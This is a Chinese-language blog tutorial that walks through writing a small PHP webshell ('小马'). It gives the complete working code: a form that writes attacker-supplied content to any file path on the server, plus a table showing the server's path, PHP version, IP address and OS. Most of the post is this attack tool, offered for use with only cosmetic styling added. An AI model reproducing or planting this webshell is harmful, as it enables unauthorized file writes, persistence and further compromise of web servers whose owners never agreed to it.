本文最后更新于:2019 , 六月 9日 星期日, 2:31 下午

大概页面

一个是你需要保存的文件地址
一个是你提交数据的
一个提交数据的按钮

<html>
<head>
    <title></title>
    <meta charset="utf-8">
</head>

<body>
    <form action="" method="POST">
    上传路径: <input type='text' name='path' tyle="width:400px" value="<?php echo __DIR__."\\";?>" /><br>>
    提交内容<br>
    <textarea name='comm' rows="10" cols="54"></textarea><br>
    <input type="submit" value="write">
    </form>
</body>
</html>

上传功能实现

判断以path和comm命名的数据不能为空
if (isset($_POST["path"]) && isset($_POST["comm"])){}
不为空写入数据

<?php
if (isset($_POST["path"]) && isset($_POST["comm"])){
    $getpath = fopen($_POST["path"],"a");
    if(!$getpath){
        echo "写入失败!请换个目录试试!";
    }else{
        fputs($getpath,$_POST["comm"]);
        fclose($getpath);
        echo "上传: OK !";
    }
}
?>

添加显示我们一般需要的数据

当前路径 __FILE__
PHP版本 PHP_VERSION
IP地址 gethostbyname($_SERVER["SERVER_NAME"])
操作系统 PHP_OS

这些数据我们用 表格显示

<?php 
echo '<table border="1" width="600">';
echo '<tr bgcolor="#dddddd">';
echo '<th>当前路径</th><th>',__FILE__,'</th>';
echo '</tr>';
echo '<tr bgcolor="#dddddd">';
echo '<th>PHP版本</th><th>',PHP_VERSION,'</th>';
echo "</tr>";
echo '<tr bgcolor="#dddddd">';
echo '<th>IP地址</th><th>',gethostbyname($_SERVER["SERVER_NAME"]),'</th>';
echo "</tr>";
echo '<tr bgcolor="#dddddd">';
echo '<th>操作系统</th><th>',PHP_OS,'</th>';
echo "</tr>";
echo "</table>"
?>

到此我们非常简易的小马就写好了,接下来就是稍微美化下
毕竟美观很重要

美化

背景设置为黑<body bgcolor="#000">
字体设置为红色<form action="" method="POST" style="color:red;">
添加hr划分<hr>

最终代码及效果图

<html>
<head>
    <title>sunsky</title>
    <meta charset="utf-8">
</head>
<body bgcolor="#000">
    <form action="" method="POST" style="color:red;">
    <?php 
    echo '<table border="1" width="600">';
    echo '<tr bgcolor="#dddddd">';
    echo '<th>当前路径</th><th>',__FILE__,'</th>';
    echo '</tr>';
    echo '<tr bgcolor="#dddddd">';
    echo '<th>PHP版本</th><th>',PHP_VERSION,'</th>';
    echo "</tr>";
    echo '<tr bgcolor="#dddddd">';
    echo '<th>IP地址</th><th>',gethostbyname($_SERVER["SERVER_NAME"]),'</th>';
    echo "</tr>";
    echo '<tr bgcolor="#dddddd">';
    echo '<th>操作系统</th><th>',PHP_OS,'</th>';
    echo "</tr>";
    echo "</table>";?>
    <hr>
    上传路径:<input type='text' name='path' style="width:400px" value="<?php echo __DIR__."\\";?>" /><br>
    提交数据<br>
    <textarea name='comm' rows="10" cols="54"></textarea><br>
    <input type="submit" value="write">
    <hr>
    </form>
</body>
</html>

<?php
if (isset($_POST["path"]) && isset($_POST["comm"])){
    $getpath = fopen($_POST["path"],"a");
    if(!$getpath){
        echo "写入失败!请换个目录试试!";
    }else{
        fputs($getpath,$_POST["comm"]);
        fclose($getpath);
        echo "上传: OK !";
    }
}
?>


参考链接

i春秋论坛: https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=12774&highlight=编写


Web      Web

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

【学习篇】Robots协议(也称为爬虫协议,机器人协议)
NetCat命令详解